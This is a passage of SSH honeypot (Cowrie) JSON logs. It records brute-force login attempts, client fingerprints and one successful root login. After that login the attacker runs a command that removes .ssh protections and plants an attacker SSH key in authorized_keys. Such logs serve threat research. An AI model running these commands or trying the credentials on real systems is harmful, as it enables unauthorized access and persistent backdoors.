6","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:03.432975Z","src_ip":"172.187.200.190","session":"c494531e600e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cristopher","password":"cristopher","message":"login attempt [cristopher/cristopher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:03.604515Z","src_ip":"172.187.200.190","session":"c494531e600e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:04.690883Z","src_ip":"172.187.200.190","session":"c494531e600e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":50230,"dst_ip":"159.203.135.109","dst_port":22,"session":"00434d06158b","protocol":"ssh","message":"New connection: 159.223.94.92:50230 (159.203.135.109:22) [session: 00434d06158b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:36.518522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:36.521981Z","src_ip":"159.223.94.92","session":"00434d06158b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:36.776699Z","src_ip":"159.223.94.92","session":"00434d06158b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"welcome","message":"login attempt [oracle/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:37.799536Z","src_ip":"159.223.94.92","session":"00434d06158b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:39.051934Z","src_ip":"159.223.94.92","session":"00434d06158b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":54716,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8ce77baf3aa","protocol":"ssh","message":"New connection: 27.119.7.6:54716 (10.17.0.5:22) [session: e8ce77baf3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:47.791941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:47.801644Z","src_ip":"27.119.7.6","session":"e8ce77baf3aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:47.988368Z","src_ip":"27.119.7.6","session":"e8ce77baf3aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"simon","password":"simon@123456","message":"login attempt [simon/simon@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:48.765353Z","src_ip":"27.119.7.6","session":"e8ce77baf3aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:05:49.954384Z","src_ip":"27.119.7.6","session":"e8ce77baf3aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59364,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d0cc83e680a","protocol":"ssh","message":"New connection: 2.57.122.208:59364 (10.17.0.5:22) [session: 0d0cc83e680a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:06:51.007337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:06:51.011471Z","src_ip":"2.57.122.208","session":"0d0cc83e680a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:06:51.116519Z","src_ip":"2.57.122.208","session":"0d0cc83e680a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:06:51.499629Z","src_ip":"2.57.122.208","session":"0d0cc83e680a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:06:52.736484Z","src_ip":"2.57.122.208","session":"0d0cc83e680a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.94.92","src_port":58184,"dst_ip":"159.203.135.109","dst_port":22,"session":"1842aa7bc76f","protocol":"ssh","message":"New connection: 159.223.94.92:58184 (159.203.135.109:22) [session: 1842aa7bc76f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:07:32.133327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:07:32.138116Z","src_ip":"159.223.94.92","session":"1842aa7bc76f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:07:32.375425Z","src_ip":"159.223.94.92","session":"1842aa7bc76f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse@123","message":"login attempt [lighthouse/lighthouse@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:07:33.363084Z","src_ip":"159.223.94.92","session":"1842aa7bc76f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:07:34.603291Z","src_ip":"159.223.94.92","session":"1842aa7bc76f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.75.240.121","src_port":36458,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e8e151abffe","protocol":"ssh","message":"New connection: 5.75.240.121:36458 (10.17.0.5:22) [session: 9e8e151abffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:07:53.808580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:07:53.812890Z","src_ip":"5.75.240.121","session":"9e8e151abffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:07:53.907069Z","src_ip":"5.75.240.121","session":"9e8e151abffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts","password":"123456","message":"login attempt [ts/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:07:54.097352Z","src_ip":"5.75.240.121","session":"9e8e151abffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:07:55.193312Z","src_ip":"5.75.240.121","session":"9e8e151abffe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":46322,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad8c79983c69","protocol":"ssh","message":"New connection: 27.119.7.6:46322 (10.17.0.5:22) [session: ad8c79983c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:15.174012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:15.179316Z","src_ip":"27.119.7.6","session":"ad8c79983c69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:15.371035Z","src_ip":"27.119.7.6","session":"ad8c79983c69","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Woaini1314","message":"login attempt [root/Woaini1314] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:16.276375Z","src_ip":"27.119.7.6","session":"ad8c79983c69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:16.746601Z","src_ip":"27.119.7.6","session":"ad8c79983c69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:16.749255Z","src_ip":"27.119.7.6","session":"ad8c79983c69","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:16.751843Z","src_ip":"27.119.7.6","session":"ad8c79983c69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:16.958932Z","src_ip":"27.119.7.6","session":"ad8c79983c69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:17.427049Z","src_ip":"27.119.7.6","session":"ad8c79983c69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:17.429183Z","src_ip":"27.119.7.6","session":"ad8c79983c69","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:17.623821Z","src_ip":"27.119.7.6","session":"ad8c79983c69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:17.627258Z","src_ip":"27.119.7.6","session":"ad8c79983c69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":46336,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae03c7bef694","protocol":"ssh","message":"New connection: 27.119.7.6:46336 (10.17.0.5:22) [session: ae03c7bef694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:17.802927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:08:17.812521Z","src_ip":"27.119.7.6","session":"ae03c7bef694","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 